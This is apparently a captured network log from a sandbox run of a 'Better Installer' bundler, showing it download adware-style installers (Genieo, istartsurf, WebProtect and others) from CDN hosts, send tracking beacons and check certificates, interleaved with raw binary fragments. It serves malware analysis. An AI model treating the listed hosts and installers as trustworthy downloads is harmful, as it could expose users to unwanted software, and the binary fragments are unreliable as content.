Fk.T..24.0B...p.........0..0...U.......0.0...U...........0...U.%..0...
 ......... .......0...U.......O........f...e..r..0... .....0......0@..
U...90705.3.1./hXXp://crl.godaddy.com/repository/gdroot-g2.crl0J..U. .
C0A0?..`.H...m....000... ........"hXXp://crl.godaddy.com/repository/0.
..*.H.............bW%D.2.X..U[0d..........|.BaG.Y.?.u...\...M..6.=

<<< skipped >>>

GET /pin.gif?e=tracking&s=9813&i=9B747F14-BE29-4C4C-91EC-2A9AD83B6959&t=1&v=29.0.1&b=ff&os=6.1x64&osv=7601&ai={42c2ce50-98bd-87f8-6695-f76e817ccf5a}[email protected] HTTP/1.1

Host: stat.webprotectionfree.com

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20100101 Firefox/29.0

Accept: text/html,application/xhtml xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Connection: keep-alive


HTTP/1.1 200 OK

Server: nginx/1.4.6 (Ubuntu)

Date: Wed, 22 Apr 2015 08:23:35 GMT

Content-Type: image/gif

Content-Length: 34

Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT

Connection: keep-alive

ETag: "54bfc526-22"

Accept-Ranges: bytes

GIF89a.............,...........C.;HTTP/1.1 200 OK..Server: nginx/1.4.6
 (Ubuntu)..Date: Wed, 22 Apr 2015 08:23:35 GMT..Content-Type: image/gi
f..Content-Length: 34..Last-Modified: Wed, 21 Jan 2015 15:26:30 GMT..C
onnection: keep-alive..ETag: "54bfc526-22"..Accept-Ranges: bytes..GIF8
9a.............,...........C.;..

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=555240-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:20:12 GMT

Content-Type: application/octet-stream

Content-Length: 555236

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 555240-1110475/1110476
.F..j....;^I..#........h.6tp..O..K.eT5.dFi.......(.S..m.a.Y....<...
.G...............M.f8....,............F.QM.C...TiJ..;.X{...8....d0.G..
.D]I<....z......tv.x.^B.T9=..c.N ..........F...%.....a.......d..;.s
qPp..\....'...../f..7..J_.^.f... 7.>.ET"....#.k#o.!.3gj.=wr...gBj&l
t;.!.5@Qa ?F......0..............f..K...w{...h.=U..u.{.m....7...yb.\YZ
..ta.cd......t-...;.?.....t....v........MP......|.....i..L2...".:H....
....U..}...d..|Q.jf^...(.Mf......\....E G7.........."32...f..%\.4U... 
.N:....... ...B....%[email protected].,.y.....)..[S.6.5.|Jd;/.._m..s..... ...
FN.........a...<......3. ...$,......M.H8.....~u......vM[..H...{i...
R....N......%.".J.F..1(h?..U...,..(%......V......>........y...}.q.:
!.0..w..Q?C.%Eo...w......R^.v........`..&W..*.,....g.......a..Q...$.r)
..2c....|?.3.[..>l....8hq.L...B..W.I..56 ......}f&...^.|..Uk.4...A.
P.. `f..y&m....t... .Ej....V.}...hs........c.....m.`h....3.3..H[N...$:
.q......).0....b.i.C..T$Z.V......}....T$..o(.Z(#[email protected][.
.C?.....}T{ ...$..n9....*.H.<...3..........z..!.....V........A..9..
..........m.]. .?..~.....[.u!DC...8.jZ..k.G...|.o..d....(....(.. .....
...oa^.5[........|3.j.1..C..'..._g.... ..j.!T.....T..M/p.n..W..7R..Ru.
e....i..F".....h.......t...v....p3.gom|...........i-......&.^|ilN..N.b
.[..&5...z.SY'.7.0.M'@.k..E..Y...2)....blt..~...c...<#JIr..uR.../..
dvGr.[.e...nT..>:B.;.!.......m..>.r.U......}.r..d.P.......H`..(.
i...........`.,p%.gQj..p..S. ....4O2...s.{..R..Wc..v.#...v..Te!...r.."
./..<.....oR*1...c..Y..v.....,^......E.....4a%.q.. .kk...pH....<<< skipped >>>

GET /gscodesignsha2g2/MFMwUTBPME0wSzAJBgUrDgMCGgUABBQpEOCqbmTiQA9OjY//t2aa8NSkuwQUGUq4WuRNMaUU5V7sL6Mc+oCMMmsCEhEhZyg35kUM7JUe4UHDT5+Nwg== HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp2.globalsign.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:42 GMT

Content-Type: application/ocsp-response

Content-Length: 1493

Connection: keep-alive

Set-Cookie: __cfduid=d56c5bff470e187e8d30354023494dd2a1429691082; expires=Thu, 21-Apr-16 08:24:42 GMT; path=/; domain=.globalsign.com; HttpOnly

X-Powered-By: Servlet/3.0; JBossAS-6

ETag: aa97b90ae478ca9cb3898cc5a91e8ffddf911434

Expires: Wed, 22 Apr 2015 09:02:07 GMT

Last-Modified: Tue, 21 Apr 2015 21:02:07 GMT

Cache-Control: max-age=180, public, no-transform, must-revalidate

CF-Cache-Status: HIT

Server: cloudflare-nginx

CF-RAY: 1dafef12fabb0f8d-FRA
0..........0..... .....0......0...0.......9e.K.....__..........2015042
1210207Z0u0s0K0... ........)[email protected]...^./.....2k.
..!g(7.E.....A.O.......20150421210207Z....20150422090207Z0...*.H......
...........W....6...Z..........\@<..W./...sjJ.m#<D&[..|.........
...W.Iz..h2..A.........:.t`J..>.s.sT.....29.*..5..r..q .!...n....)`
?.->s........fk.......;.$.......p}R.J;.Ux8..M"MT..h....[?|'[....~4 
..MvctMv. X...Vtp7.y......R..k.uA..|.....-y.L...=....X.&.n.........0..
.0...0...........!J .v...._......60...*.H........0Z1.0...U....BE1.0...
U....GlobalSign nv-sa100...U...'GlobalSign CodeSigning CA - SHA256 - G
20...150324152349Z..150624142349Z0..1.0...U....BE1.0...U....GlobalSign
 nv-sa1C0A..U...:GlobalSign CodeSigning CA - SHA256 - G2 OCSP responde
r - 11.0...U....201503241623000.."0...*.H.............0.........8..|Z.
....|j......q..*d....Q...{.;G....%.!(9.gD...k.. ....(....~&.(........a
'.o...%..ap...x...5*.........Vx.......55.....7..5....kL..E1M...L....?.
..s....#...,n........../...'..:...z..R.....w...Fw.n...nd.e....0v.^....
...">G..}|..z.Y*<:./.D&.j.9.)../...rD.A........0..0...U....0.0..
.U...........0...U.%..0... .......0... .....0......0...U.......9e.K...
..__........0...U.#..0....J.Z.M1...^./.....2k0...*.H................}[
...xH..t-N..e...cSd..0.4.&.m......2J...r.....4.d..m... .>..uS.w...4
.>.(...A.....h...:=..\q.l.hf.t"...=........=..Z...Z.....K.v...Y. ..
......'B.C...U3........h?....b...!1.<h.%4...o.h.{..!.!Y.G....."...H
.Q.q.>..a.<.......G.7..X.OM..>7|b.....i.q....u..kF..<<< skipped >>>

GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1

Range: bytes=321582-643164

User-Agent: Better Installer(Mozilla)

Host: d2otsfra4otprh.cloudfront.net

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 321583

Connection: keep-alive

Cache-Control: no-cache

Last-Modified: Mon, 23 Mar 2015 09:00:36 GMT

Accept-Ranges: bytes

ETag: "b8e31d44765d01:0"

Server: Microsoft-IIS/7.5

X-Powered-By: ASP.NET

Date: Mon, 23 Mar 2015 21:39:23 GMT

Content-Range: bytes 321582-643164/1286329

X-Cache: RefreshHit from cloudfront

Via: 1.1 954e53c2911d47d729ae27754b6408a8.cloudfront.net (CloudFront)

X-Amz-Cf-Id: EvJp1uQNuB7tpVrQciHuUh1jrbvpZZVhkixhPc6QxOJSsRgy5szTXw==
..`../r"k>F-O../......I......(..vWPN.. ...J......."..j&.b.n........
.........V...O_.Zj...~4..T...}TMZ.....y.s.i.....G..b......[.x....,3...
.Q....%.'.M.m.}........j..E...........m......>.P....y.x".G.2c....}.
'.Q.....eP../..... h....9.8m(....'}"..(.U.N.....6E.._._&J.rv...iS.....
t...^^!......g..X..$.../...|..l...!.E..Q9..#.$.I...Y..<G...........
._.`TKq`....*...E.R...h............H^A.W.2=....%m..9s...p..WS ...n....
6_..U...d...N........*......aqj.......e......f...J.u.4...3...&j.=~..3.
.E..x.a....X..".G.J.aQSF1..4.b..O...L.....a.[..,............8..!M.....
....#v..$..Gv}h../.6o.x.:/.r..5lF....5W.4..s..\q~.D >{.wJ/..DA S...
.MOb....Y'E.0..\Ah.9.....{.:...-)kj[..q.-....n>.IC..2......m-...*f"
JmmVr....".o..n....\O$..V~p*I...x[&..d{......R0.L.>C.Xn....0..]....
$..L..5=k.q.....A.l..I.'..g.....$.....u{.c......).;Ke\H..?.x...8......
{<.p.....=D.........W.....B.R.p.E....U..HM....#..S.3f<r..1|:...N
"P}O..U... .5.JZ..x..>8..m......H....E...N...Y.._.\..x...S..<..*
`=.@[email protected].......)Y.b.@H/..?..n9b......4....x["..i.wH.....c...iP7k.s.r
.........V:;M..=I.d..........K'[email protected].....
...........S....?_..F...#-Of..`:......&.. E..Rg/..{...E..f.....n...O.5
...'zd..*.T.....A..#!"@.>.......AW...$ra....M....... <O.>l[..
.....n...c.g.).*N..A=..[6q..'..2..Zg..h}........'>...^kGT......,i..
..m|y....I..V...D....#.]............s.k...E.x....Z........J?..{m......
....T.).*.4".....cv._....7S[2O.)<.f&D.`...73t...^{.._k'..{.ref...gS
...=(..Q.4.4F...O....J.t...9t.;..!OH$S..B....[....9....mS....'.^..<<< skipped >>>

GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1

Range: bytes=277620-

User-Agent: Better Installer(Mozilla)

Host: download.filesfrog.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Server: nginx

Date: Wed, 22 Apr 2015 08:23:56 GMT

Content-Type: application/octet-stream

Content-Length: 832856

Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT

Connection: close

ETag: "507b83f7-10f1cc"

Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....<<< skipped >>>

GET /msdownload/update/v3/static/trustedr/en/disallowedcertstl.cab?31b7dce4f63cde7b HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Mar 2015 16:17:41 GMT

If-None-Match: "804047d4e66d01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Tue, 24 Mar 2015 16:17:41 GMT

ETag: "804047d4e66d01:0"

Cache-Control: max-age=86400

Date: Wed, 22 Apr 2015 08:23:15 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Mar 2015 16:17:41 GMT..ETag: "804047d4e66d01:0"..C
ache-Control: max-age=86400..Date: Wed, 22 Apr 2015 08:23:15 GMT..Conn
ection: keep-alive......

GET /msdownload/update/v3/static/trustedr/en/authrootstl.cab?d455f170f77c60cf HTTP/1.1

Connection: Keep-Alive

Accept: */*

If-Modified-Since: Tue, 24 Feb 2015 00:37:01 GMT

If-None-Match: "80b4d90ca4fd01:0"

User-Agent: Microsoft-CryptoAPI/6.1

Host: ctldl.windowsupdate.com


HTTP/1.1 304 Not Modified

Content-Type: application/octet-stream

Last-Modified: Tue, 24 Feb 2015 00:37:01 GMT

ETag: "80b4d90ca4fd01:0"

Cache-Control: max-age=604800

Date: Wed, 22 Apr 2015 08:23:16 GMT

Connection: keep-alive

HTTP/1.1 304 Not Modified..Content-Type: application/octet-stream..Las
t-Modified: Tue, 24 Feb 2015 00:37:01 GMT..ETag: "80b4d90ca4fd01:0"..C
ache-Control: max-age=604800..Date: Wed, 22 Apr 2015 08:23:16 GMT..Con
nection: keep-alive..

GET /root.crl HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: crl.globalsign.net


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:24:43 GMT

Content-Type: application/x-pkcs7-crl

Content-Length: 649

Connection: keep-alive

Set-Cookie: __cfduid=df3440dba09b66ed48663f1e37fdf77531429691083; expires=Thu, 21-Apr-16 08:24:43 GMT; path=/; domain=.globalsign.net; HttpOnly

Expires: Wed, 15 Jul 2015 00:00:00 GMT

Last-Modified: Mon, 23 Mar 2015 00:00:00 GMT

Cache-Control: public, max-age=7227317

CF-Cache-Status: HIT

Accept-Ranges: bytes

Server: cloudflare-nginx

CF-RAY: 1dafef1718d708b1-FRA

0...0..m...0...*.H........0W1.0...U....BE1.0...U....GlobalSign nv-sa1.
0...U....Root CA1.0...U....GlobalSign Root CA..150323000000Z..15071500
0000Z0..0*.........D.....141125000000Z0.0...U.......0*........)E.....1
41125000000Z0.0...U.......0*........ ...h..141125000000Z0.0...U.......
0*........,^.....141125000000Z0.0...U......../0-0...U......00...U.#..0
...`{f.E....P/}..4....K0...*.H.............&...f#...5.[4........{pV.#.
F........:...*Q.....Mx9}....,.S.D.>@.Ju.[)c...`.?.j~...-..{.FHj....
.#.C2.[.,`.......)...Bj2........n...........%......p.6......Q.....1..p
d......F.........mJO.!y.W.......V.M).N.R.....V..|...7.ry. ..gy..I\....
.....j....... .z.E..".HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:24:43
 GMT..Content-Type: application/x-pkcs7-crl..Content-Length: 649..Conn
ection: keep-alive..Set-Cookie: __cfduid=df3440dba09b66ed48663f1e37fdf
77531429691083; expires=Thu, 21-Apr-16 08:24:43 GMT; path=/; domain=.g
lobalsign.net; HttpOnly..Expires: Wed, 15 Jul 2015 00:00:00 GMT..Last-
Modified: Mon, 23 Mar 2015 00:00:00 GMT..Cache-Control: public, max-ag
e=7227317..CF-Cache-Status: HIT..Accept-Ranges: bytes..Server: cloudfl
are-nginx..CF-RAY: 1dafef1718d708b1-FRA..0...0..m...0...*.H........0W1
.0...U....BE1.0...U....GlobalSign nv-sa1.0...U....Root CA1.0...U....Gl
obalSign Root CA..150323000000Z..150715000000Z0..0*.........D.....1411
25000000Z0.0...U.......0*........)E.....141125000000Z0.0...U.......0*.
....... ...h..141125000000Z0.0...U.......0*........,^.....141125000000
Z0.0...U......../0-0...U......00...U.#..0...`{f.E....P/}..4....K0.

<<< skipped >>>

GET /sd?is=sm HTTP/1.1

Range: bytes=392448-

User-Agent: Better Installer(Mozilla)

Host: install-cdn.theswiftrecord.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Pragma: no-cache

Content-Type: application/octet-stream

Server: Microsoft-IIS/7.5

Content-Disposition: attachment; filename=SwiftRecordSetup.exe

X-AspNet-Version: 4.0.30319

SVR: SP001C2

X-Powered-By: ASP.NET

p3p: CP="CAO PSA OUR"

Cache-Control: private, max-age=86400

Expires: Thu, 23 Apr 2015 08:23:55 GMT

Date: Wed, 22 Apr 2015 08:23:55 GMT

Content-Range: bytes 392448-523263/523264

Content-Length: 130816

Connection: keep-alive
.l.\...l..:B\k..I.V#...B.............. !...z. 3).5.9..........y..{.u;U
};.*..?.g........ ..B.7XE.N(...#{...qLc...<.....r.J...9.........e..
..`.2.........|.I}6...%....F....4....[9....... (.....C..G~...Y0gs-.a..
3..j..M..8. M ...78^c.x&W.20..."s..zL....w..hKI..)p.....{..G.c..h..7..
. W...:.:zcJx.k;.i.}.........vE:..\...7.5...........28.w....F"....f..s
[email protected]..{..U$.&.XQ.........t...Y.3......08$.F.....u0C..
.....Z.9.4ZPb.XB}.IPKm..y{j..=S..Ly.<[.VW.7^S.R l.....$Y3-.=b...*c&
..8.C.IP.O..../....b.....&<p..=.\G..3.r..,.>GIo.....7.q`bie.L...
S1._..ZhG.J8E........U..Q.$...z.-!...FGh./Q[1...'..f...[H.Z...0.H...Qv
[email protected]..#.3i...p.....GH.....$........xr..'Zs... Ni.M..e....Gg_g\..
...HP.y.-..a....R?N.7'.z....W$....7..5O.....H..`.Y....g.._cCzz..wS.s..
......Oa...p.k...h1.........g.C...X]/.*.fG...<.%......j".F.M....p..
w..-."#.(..)...6.y.=h......P..J.,|.p....(.9y...|[email protected],.
*.......N..W/.Y..H.ED.....UT.<...K."._1......\j......)r.....\.s....
...v.v..m..i.n<.l.s..7^<!....,..)..\.?..... .r...IW.0..HQ4?....K
;Di.|...2.....[h.#]...*.......M.&.....C.;..u....N..Y.SV.....0.(...1KBA
70..T...FyP....L.UiO?.,H^.c....E1....a.Z....v$.75.(..(..F.............
..,wlB[.~...S.?{<./5.i..;.....T.W..F....|5u.%{.I#7r..Y)F..L.wW.....
DQ.X0X..........,..v.....]..[j......S.5..."...V"^..9......&.9..\......
..{..!0.Z.(Yqfx.....%..T...I^.M<...P.. ^..q. -s..(..m.........ss...
.........o......)z...rR3.t..QG .T.A...AjK......9...Ca.Ej.L...BB.gK.a..
2........)T.............((..A.....&.H5........y> ..v..G......S.<<< skipped >>>

GET /home/smt_istartsurf.exe HTTP/1.1

Range: bytes=587412-

User-Agent: Better Installer(Mozilla)

Host: VVV.girlliuxiaowei.com

Connection: Keep-Alive

Cache-Control: no-cache

{...z...{...z...u.....................................................
...!.......$...!...&...'...*... ...-...*.../.../...3...3...5...6...5..
.7...7...8...;...=...?...7...V...p.....^][............................
..............................................................j.......
...ttt.```............................................................
......................................................................
......................................................................
......................................................................
......................................................................
......................................................................
.............................&........................................
......................1...............................................
...................."...........................$.....................
..........#%..-...........................0%..:.......................
....?%..9...........................>%..8..........................
.=%..7...........................;[email protected]
[email protected]@..L......
.....................N2..K...........................h2..\............
...............g2..]...........................f2..[..................
.............I3') * )))*))()*   ,6J!54 CBA...jYPQTVTSkllZTTXRTUiHceWda
/..i...u....`..................._<bm....t^..}zy|yx~....{|yvrrwsqpon
..................................................................

<<< skipped >>>

GET /mirror/web2mob/v1_1_0_6/ClientToMobilePlatform.exe HTTP/1.1

Range: bytes=439662-

User-Agent: Better Installer(Mozilla)

Host: d1fm7s0411k9q7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 146552

Connection: keep-alive

Date: Sun, 19 Apr 2015 05:10:27 GMT

x-amz-version-id: EHxyzBQj6iiiaTOTEAKMcyCTnT95Tfxs

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1404646671/atime:1404646675/ctime:1404646671

Cache-Control: max-age=3600

Last-Modified: Sun, 06 Jul 2014 11:38:15 GMT

ETag: "6ca71f0046dbb49d4aec20c15d92b5d1"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 439662-586213/586214

X-Cache: Hit from cloudfront

Via: 1.1 69138579f0e00411ece41ff78ec07fb6.cloudfront.net (CloudFront)

X-Amz-Cf-Id: sQWPcnKjPXrYc3M6LtJGPFXJRZAqyuqDBiU4d49pMfgK_rBiRG-v7g==
W...1....b..tM...;.q.......:......r..z.....'.^U}.&.G.`W.)z.&.E.....&..
...P...~..TO!..z......Z.".*.a.v..\....aLS..{w..cJ..D..EO./...D.CG.]:..
b..a..S...":..?..s#w..Q..3O.7.~....wn.X.4QF.sRHx..q(..'....K..........
...Z..D.q....S..Ki.U.I.....:..8.o...EF...:..=........g..J...H....r..-.
;.H..}.....g......;.L{. =."1lJ{S....G.....OR.!}uh9.O....O...E..bKS....
k;..WA...@._.K...0.x....^..,.C...W~^.b.{....}..M.,.u,..[..c-...."..a..
.....''...L6...'D{.e..}B.n.D.g....9.........o>.......r.9..g........
[email protected].`..B..e.F.1..z.,.{}../.%.A~............i.......L.Z.7.
....|..o.6P....]2`j.7...q.|fM#1.......0.[[email protected]...=\w..b.
$)....!.y.C.....^.[.E.....C)7|2P.,....u...1...a% ..aR..U.....%..H.....
..e..M..HD$.}".$Z.K.UnW[.ba.i7.D.;A4Qi.z.[]..\|..Ej.U...r..Qn..%..>
......._..;.\.N..O".R...Yl......H ..f.i....x..)1.t...*3./bNr......h.Bc
I...........6Q3..&.V!5..<oy..o G~9|g.....;.G..E.%"......t;N...!.R.m
....].M.g.N...ss....rF.....y...,...p....E...*..=y/...Z.......X..}U..Tr
..J.P(Y.I......|[email protected]#...R%...}V ..
..Jo^.....j$...x.9....&.>...u.......r....:6.............Y0..W......
G.x.Z,..oa"D..K)&{ .f..j..g..A]..1u..d.Z./..D[L..j.............v..c\..
Cz....AU....V.)..*.... 7........h??..2{p..#_.....B.....0....|b~....SD}
Y.*5.B.H?...}...B..a.G.EfY.&^...5.<9.s.e3...P.].w.......F..8..%...&
lt;5....<:.R..&e./..pbP.'.}.................*P..3..71x..L..kw..vj..
M&.....#,.~.H....:.tlBLj..U....Z..7.w../.z.....%.W.....[l._.4..P.~-\.|
R.wE.....ZyA......x,*..T6r....;.n(|@..g#..].k.I a._.V4.5....Y.6k.$<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAKQll6RM0DNpmNM7zH3/Qc= HTTP/1.1

Connection: Keep-Alive

Accept: */*

User-Agent: Microsoft-CryptoAPI/6.1

Host: ocsp.verisign.com


HTTP/1.1 200 OK

Server: nginx/1.4.7

Content-Type: application/ocsp-response

Content-Length: 1790

content-transfer-encoding: binary

Cache-Control: max-age=414555, public, no-transform, must-revalidate

Last-Modified: Mon, 20 Apr 2015 03:30:31 GMT

Expires: Mon, 27 Apr 2015 03:30:31 GMT

Date: Wed, 22 Apr 2015 08:25:10 GMT

Connection: keep-alive
0..........0..... .....0......0...0......'.V.8.F.V....H....JW..2015042
0033031Z0s0q0I0... ..........!7h....O.d...AG&h.....k.&p..?...-.5......
....^[email protected]...*.H........
.....|G#(.}&......W.._..vp/[email protected]%.od.'...|g........j....
..k..d.^.y.U.._n...AM{$.../...S....f8.8{%.........y...\nZk...{.J.z.i.`
F=..#...Q.Y6%.....W....e.m.H.n.,x=.C...........fx.1.......^......$.P.&
*..5....6% ...... #.-.7....@(^.P....s;....O....o......#0...0...0......
....r..?.*......y"..0...*.H........0..1.0...U....US1.0...U....VeriSign
, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use at http
s://VVV.verisign.com/rpa (c)09100...U...'VeriSign Class 3 Code Signing
 2009-2 CA0...150226000000Z..150527235959Z0..1.0...U....US1.0...U....V
eriSign, Inc.1.0...U....VeriSign Trust Network1;09..U...2Terms of use 
at hXXps://VVV.verisign.com/rpa (c)091<0:..U...3VeriSign Class 3 Co
de Signing 2009-2 OCSP Responder0.."0...*.H.............0.............
m5*R........2....>...yU4..L.. ...........u..Hez..Pn.....d...nz(...V
7.}^...d!RX...bl..[..a...L.. .~..Ij......%..%p.-...u..:..i..F*]...*...
.{NH..|0...gHX.Q.r....S..........._.9.(w...suC...N..s.....&."...:.C.Q.
i~rl..<..krS..8.B..o][email protected]
.0....U. ...0..0....`.H...E....0..0(.. .........hXXps://VVV.verisign.c
om/CPS0b.. .......0V0...VeriSign, Inc.0.....=VeriSign's CPS incorp. by
 reference liab. ltd. (c)97 VeriSign0...U.%..0... .......0...U........
0... .....0......0"..U....0...0.1.0...U....TGV-B-32010...*.H......<<< skipped >>>

GET /26773.ashx?e=XOxRKBm2zlx2gtIu55M0yrLCN3RAljpsZ7cu GLkj0D8ln8Iap23//2TEkHeJNDUga zuhV9q9E25WOCvP1grGvtcIuz9bMon14WGxPVpt5CrKRl6uWYlY4G r 3F6T7iJiWa2JIZk6M8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj23N8xrbOAlOf HTTP/1.1

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: pn61ajqijj0-g48pastf.netdna-ssl.com


HTTP/1.1 200 OK

Date: Wed, 22 Apr 2015 08:21:41 GMT

Content-Length: 0

Connection: keep-alive

Cache-Control: private, no-store

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Server: NetDNA-cache/2.2

X-Cache: MISS

HTTP/1.1 200 OK..Date: Wed, 22 Apr 2015 08:21:41 GMT..Content-Length: 
0..Connection: keep-alive..Cache-Control: private, no-store..X-AspNet-
Version: 4.0.30319..X-Powered-By: ASP.NET..Server: NetDNA-cache/2.2..X
-Cache: MISS..

GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1

Range: bytes=864857-

User-Agent: Better Installer(Mozilla)

Host: download.genieo.com

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

x-amz-id-2: 8n1qW9iDoS5iJx/V8fzdVFpHZrLV/ned  LIVc IiClmC9Il0Yj/Vv/H0yRnkG3k

x-amz-request-id: 29B3BBDF8F6CE1A7

Date: Wed, 22 Apr 2015 08:23:53 GMT

Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT

ETag: "d65611fbc4da8cea4e886076bec82d1e"

Accept-Ranges: bytes

Content-Range: bytes 864857-988407/988408

Content-Type: application/octet-stream

Content-Length: 123551

Server: AmazonS3
7f..]....|.5...[HZ-.....{\..Y......?...DQ....5Wp.!./...,LGv....- .....
.zw..x..B%9{..#....x.. Rp..by....KZ...k.t..y......8*.<.........L.d.
[email protected]..,...}..l....g....s.6*...".....F..f&.0.p..-....q....UN..
...^...-S.3.....@ /2.;......v.(.#....2.......Z.un....:....U.J4.......l
.....S.........Y....".W.1..r.-.!./.a.......v....6.......l..a.!.^.;..8.
t.]qeq..u..7'/..I.fEd.m....ij....L..R..$......0..1O.......D.C.........
n...^...eC~...>ec...xU?4......Y-s.F...y,..cM.....'.b.w-..z>U....
 .9.K.!4..y..&N...Y..$...R*........b....V....\6l...H..`.{.....4.Z.....
.X?.q.2Y.D..J.Z.z..~..p.JP(...v.#..P...._ ....G.s $..x[.e..$<V!....
h...I.h9O%,....R'S..F...*.G......I.Sp.1]....#|K.G..S........."=.XZ....
9.......S.DR..)9..x....:.....$......=....n.....{.J.......I..[..VLm.6l.
!=..Q.v.....f*....".)>..D.1......t..:9.....d5.).y|w..Z.(.=~....2Ix.
.o_;..........'..J.2Ds.!q.v.-.....#."..iq.:1A[d...]....,....-(.^Q..R.&
gt;..-=...[=.M.c...%.\hu.t...M...h.WC:r......|x)....[~k.[....d......@F
....X.....*..7YQ..Kai.m7.....Y...D.2.o.P......(J&>z..\[email protected]
#r`o.h.....c)y...=.x..%...%...A_.r.Po...}.........Uq...V.r....i.m].!..
.)d.....I..R.$..)*..V.z..O.).n.15.qP.]t.9..'.J2y..9?..S.....4C....a..%
.I....?g...5..M..cy.....o...........<...P.S3c.M../[=u.#.g.m.V._H=..
...E.>U.R..3"..u.|j.n..\...r*.....o.b...;.j\.H......g#..S........hv
..<..H!.(.......q.g .....Bc..u.E......./5.Qo....j....@^......J.....
_=.Iy..K.`.W..E.t...m.w.K..[<..e*.g(.T.fD=.........xeD.g....&.._.b.
.Lc.zvkn.Q.O..0NI...~.5.b%k...**.f...sk..)z[.0..JY.u:lJ?...'.M~.k.<<< skipped >>>

GET /mirror/webprotectorplus/WebProtectPD.exe HTTP/1.1

Range: bytes=63807-

User-Agent: Better Installer(Mozilla)

Host: d17g6dyg7fgcv7.cloudfront.net

Connection: Keep-Alive

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Content-Type: application/octet-stream

Content-Length: 9115

Connection: keep-alive

Date: Wed, 22 Apr 2015 08:08:22 GMT

x-amz-version-id: ANdY88MOOlAc8xIaazAWro46EVDfW7Ru

x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1427978990/atime:1427978997/ctime:1427978990

Cache-Control: max-age=3600

Last-Modified: Thu, 02 Apr 2015 12:50:25 GMT

ETag: "80764229a410305724108417115b8ce8"

Accept-Ranges: bytes

Server: AmazonS3

Content-Range: bytes 63807-72921/72922

Age: 706

X-Cache: Hit from cloudfront

Via: 1.1 ff7053cb54d39315806cac9d50632264.cloudfront.net (CloudFront)

